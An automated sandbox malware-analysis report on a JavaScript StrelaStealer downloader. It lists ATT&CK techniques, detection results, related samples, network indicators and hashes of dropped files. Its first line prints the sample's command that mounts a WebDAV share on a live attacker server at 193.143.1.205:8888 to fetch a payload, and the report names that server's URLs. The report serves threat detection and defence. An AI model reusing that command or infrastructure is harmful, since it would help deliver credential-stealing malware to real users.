Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
395621741190315695.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
395621741190315695.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s643	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2208017565.0000015B73890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3441964310.0000015B73A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/s643	net.exe, 00000007.00000002.2204782897.000001F761B58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2202488754.000001F761BAD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2204920473.000001F761B8C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2204782897.000001F761B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2205192437.000001F761BAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2202711695.000001F761B8C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588766
Start date and time:	2025-01-11 05:14:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	395621741190315695.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 184.28.90.27, 23.209.209.135, 217.20.57.18, 2.16.168.105, 2.16.168.107, 2.22.50.144, 2.22.50.131, 23.204.152.210, 23.204.152.213, 13.107.246.45, 52.149.20.212, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:15:11	API Interceptor	22x Sleep call for process: powershell.exe modified
23:15:14	API Interceptor	1x Sleep call for process: net.exe modified
23:15:15	API Interceptor	2x Sleep call for process: svchost.exe modified
23:15:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
bg.microsoft.map.fastly.net	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263105181548692
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0v:9JZj5MiKNnNhoxuS
MD5:	AA84E4F5CFFB5CC01EB94B1B3582E4CD
SHA1:	5EC04E041479FE5F9512181E2E3B250826018EA6
SHA-256:	B4846AC4D4272D77A1E3BAC7752CB1A9F0166739547636DA5BEFFF2DD0CCDE6B
SHA-512:	55DE87E5AC7325D2BC4B1391C343604509901542D46F532300045D24AAD054BFE743553AA297AFE9D6B2451B7B7C39637FCDD9C84AB5BA538BC3F7CF02F40E81
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x95435310, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555605160038961
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	2F4F59F8DAB508ACB1A16E7F9CD9A4BF
SHA1:	343621362504781E439CE78C162BD66B0BED207E
SHA-256:	15C7CA9E6BD2C560376D87D196CFC6FCBCB3B920C0731FFF97678885476B2D37
SHA-512:	566FAA3ED9307D8BE4B69A3A8FE2A2762EA32999A83094D3F70F8D355BB217D4D28BC4E44BA9D1580154E44417DFF5C2BD98E57FCBD0C68BD9DFF6669DF76370
Malicious:	false
Preview:	.CS.... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................yH.......}.....................n.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07993064545307607
Encrypted:	false
SSDEEP:	3:wuYedau27euNaAPaU1lVLqlRE1lolluxmO+l/SNxOf:wuzdlXuNDPaU0nJgmOH
MD5:	445FB5D971992B1F521C0695D7C9666F
SHA1:	A095DA94CF5BFFC45B89A047AE81370549047B16
SHA-256:	9BFE713C6FD57572337C2EA1D74A9136EABC5FB5E3DB2E5CCCBC2F7387DFDC6B
SHA-512:	12E59E3EB5C7CE2407052ECB7D74253AF5C504B84F2CFCE0DFFD98BBC2713D299A7CECEAABC369F60B0389DA1CFBA0CFDB85C9499165BDB19F760009CDE0DA40
Malicious:	false
Preview:	.*.H.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?....................n.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.064985625911787
Encrypted:	false
SSDEEP:	6:iO4q51vIq2PN72nKuAl9OmbnIFUtSq5UZmwsq5UkwON72nKuAl9OmbjLJ:7xAvVaHAahFUt6/k5OaHAaSJ
MD5:	648657DA5F986E5A388338A30BF16CDA
SHA1:	1922E2D97AF3C800CF9A5538A090548058335B82
SHA-256:	7E52FBD1EB62C11304DD30E2458058994D3AC55CC25A304371AAA029575BF882
SHA-512:	00C1A758B7F5418C1E6894625D708C6463E18E4E68A184D5D7F579C8A4F01F03925B5936D7014598B4420E86CD46E885A50D0DE20CA2805F574CF1419501FE63
Malicious:	false
Preview:	2025/01/10-23:15:15.019 1530 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:15:15.021 1530 Recovering log #3.2025/01/10-23:15:15.021 1530 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.064985625911787
Encrypted:	false
SSDEEP:	6:iO4q51vIq2PN72nKuAl9OmbnIFUtSq5UZmwsq5UkwON72nKuAl9OmbjLJ:7xAvVaHAahFUt6/k5OaHAaSJ
MD5:	648657DA5F986E5A388338A30BF16CDA
SHA1:	1922E2D97AF3C800CF9A5538A090548058335B82
SHA-256:	7E52FBD1EB62C11304DD30E2458058994D3AC55CC25A304371AAA029575BF882
SHA-512:	00C1A758B7F5418C1E6894625D708C6463E18E4E68A184D5D7F579C8A4F01F03925B5936D7014598B4420E86CD46E885A50D0DE20CA2805F574CF1419501FE63
Malicious:	false
Preview:	2025/01/10-23:15:15.019 1530 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:15:15.021 1530 Recovering log #3.2025/01/10-23:15:15.021 1530 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.100666348226976
Encrypted:	false
SSDEEP:	6:iO4q56q2PN72nKuAl9Ombzo2jMGIFUtSq5uZZmwsq5zkwON72nKuAl9Ombzo2jM4:7mvVaHAa8uFUt8Z/j5OaHAa8RJ
MD5:	9782DA5AB553C2801EFCE1BBC3C2B2C6
SHA1:	323219CBFE91EAA2CEA55B1BAE9A9791B7E8BF0E
SHA-256:	000FC9E39330DADCE6CD80E624C147182CC47F710709702F1824D668FC4F1ECB
SHA-512:	0A6C68C88F1C33CDFEF80DFD59B1C684C7E33E57DDF3347BBBC983ECE8056A549AAA0D7023AB78839F5CFF6DBC10461EC1C4348108325B6895F760B42FA2186E
Malicious:	false
Preview:	2025/01/10-23:15:15.115 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:15:15.116 1c04 Recovering log #3.2025/01/10-23:15:15.117 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.100666348226976
Encrypted:	false
SSDEEP:	6:iO4q56q2PN72nKuAl9Ombzo2jMGIFUtSq5uZZmwsq5zkwON72nKuAl9Ombzo2jM4:7mvVaHAa8uFUt8Z/j5OaHAa8RJ
MD5:	9782DA5AB553C2801EFCE1BBC3C2B2C6
SHA1:	323219CBFE91EAA2CEA55B1BAE9A9791B7E8BF0E
SHA-256:	000FC9E39330DADCE6CD80E624C147182CC47F710709702F1824D668FC4F1ECB
SHA-512:	0A6C68C88F1C33CDFEF80DFD59B1C684C7E33E57DDF3347BBBC983ECE8056A549AAA0D7023AB78839F5CFF6DBC10461EC1C4348108325B6895F760B42FA2186E
Malicious:	false
Preview:	2025/01/10-23:15:15.115 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:15:15.116 1c04 Recovering log #3.2025/01/10-23:15:15.117 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.944076877967253
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFEsBdOg2H0caq3QYiubcP7E4T3y:Y2sRds+pdMHn3QYhbA7nby
MD5:	D2BF9F9F14A3725D03E587626731330E
SHA1:	E529DF9C85EB15E3536969C9DA340878C784D169
SHA-256:	812174CED669DD07B1A4BB4A32BC5456B757F99744B59B79C91035A19D99BCDB
SHA-512:	5177BD39E102507E2C1BB110A5679D01A326CA0AFCF41CAC6A5B841A5A6462567EEC9271AE7D7207912076B6108A051343FB851CCFA0BF6A509D433BCEA677AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128926629481","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121226},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e5ecbdf7-4be3-4296-8c9c-21aa14907c6d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.944076877967253
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFEsBdOg2H0caq3QYiubcP7E4T3y:Y2sRds+pdMHn3QYhbA7nby
MD5:	D2BF9F9F14A3725D03E587626731330E
SHA1:	E529DF9C85EB15E3536969C9DA340878C784D169
SHA-256:	812174CED669DD07B1A4BB4A32BC5456B757F99744B59B79C91035A19D99BCDB
SHA-512:	5177BD39E102507E2C1BB110A5679D01A326CA0AFCF41CAC6A5B841A5A6462567EEC9271AE7D7207912076B6108A051343FB851CCFA0BF6A509D433BCEA677AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128926629481","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121226},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2522085947384225
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7efzJ:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhk
MD5:	FC316F6969492FA79523238EE2526287
SHA1:	39BBCA10B90D8EF232EB20A8FC704C0CD841A62A
SHA-256:	88894CE0795EC6D545519D0AE36378FF5C6133E38D34E8DA773600844BFE40F9
SHA-512:	B3DC051AFDAD63A4ECA3831495AD20D8B4541FDE13948BA3B61E915EB6658D215E28AE84B73E6BE6C1DDBDD6E0F1F365FEB4CC01124BD7931100491DA0B6D87B
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.133247995608177
Encrypted:	false
SSDEEP:	6:iO4q5zgq2PN72nKuAl9OmbzNMxIFUtSq5WZmwsq5lPzkwON72nKuAl9OmbzNMFLJ:7vgvVaHAa8jFUtI/B5OaHAa84J
MD5:	B9BE6DB7B43AAF547036FCE6DE7E7A70
SHA1:	1F669268F6D5CA60FDFDE6284299746859D6756E
SHA-256:	F5F64477DC0797135E7AF6EDFD6171A4C1ECDF993F7C0DC0322AA85DED5EE266
SHA-512:	65E3008DBEA232A3C654F19641BED34552327A86A6D2AD8D88577189D5C5DE8E7EC3BD28CE8635E0FD6FD9E92362242172F02A936209D21F7EF447256A58FBBC
Malicious:	false
Preview:	2025/01/10-23:15:15.351 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:15:15.365 1c04 Recovering log #3.2025/01/10-23:15:15.379 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.133247995608177
Encrypted:	false
SSDEEP:	6:iO4q5zgq2PN72nKuAl9OmbzNMxIFUtSq5WZmwsq5lPzkwON72nKuAl9OmbzNMFLJ:7vgvVaHAa8jFUtI/B5OaHAa84J
MD5:	B9BE6DB7B43AAF547036FCE6DE7E7A70
SHA1:	1F669268F6D5CA60FDFDE6284299746859D6756E
SHA-256:	F5F64477DC0797135E7AF6EDFD6171A4C1ECDF993F7C0DC0322AA85DED5EE266
SHA-512:	65E3008DBEA232A3C654F19641BED34552327A86A6D2AD8D88577189D5C5DE8E7EC3BD28CE8635E0FD6FD9E92362242172F02A936209D21F7EF447256A58FBBC
Malicious:	false
Preview:	2025/01/10-23:15:15.351 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:15:15.365 1c04 Recovering log #3.2025/01/10-23:15:15.379 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444709530193138
Encrypted:	false
SSDEEP:	384:ieOci5tJiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Kqs3OazzU89UTTgUL
MD5:	3D89F3D21EDC1A88AD656C0F04091583
SHA1:	93939D7076B2CCE71DBE1D5E23741A81401C48DE
SHA-256:	BCC35F329BD64299441D4D5E47367312CA59692D6E3C03805BE35F634617F193
SHA-512:	F60975FB8A3F3673D9F8D863F25C5D54CEB27383F6C5436B17F8DF6D535B71C54F9E3264B5154A1048154C6F55D61317434259F1E2F05A6022E4716757D9197E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.213648552884161
Encrypted:	false
SSDEEP:	24:7+tQynnuwKeqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfQ:7MQWnCeq/mFTIF3XmHjBoGGR+jMz+Lho
MD5:	4A79F442E4811E83BFF60EA6E3B96691
SHA1:	C61F1A277D8C5FB7CD19FE388CD829D2EFF1E04C
SHA-256:	4A4DAAD45696ED340EC051FF9BA2E9D3B4CB85C96F8F99EB97B0D423D053FBD9
SHA-512:	5B5DABFD86A38584EEB3C13F2E5E40F6021621B2BC7B253DE6212881EF18D956C9DF15CF36CC4AB89563869E1CAFC7A8D100A2A81B1B4E34C1B7F7A11D548196
Malicious:	false
Preview:	.... .c......).........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

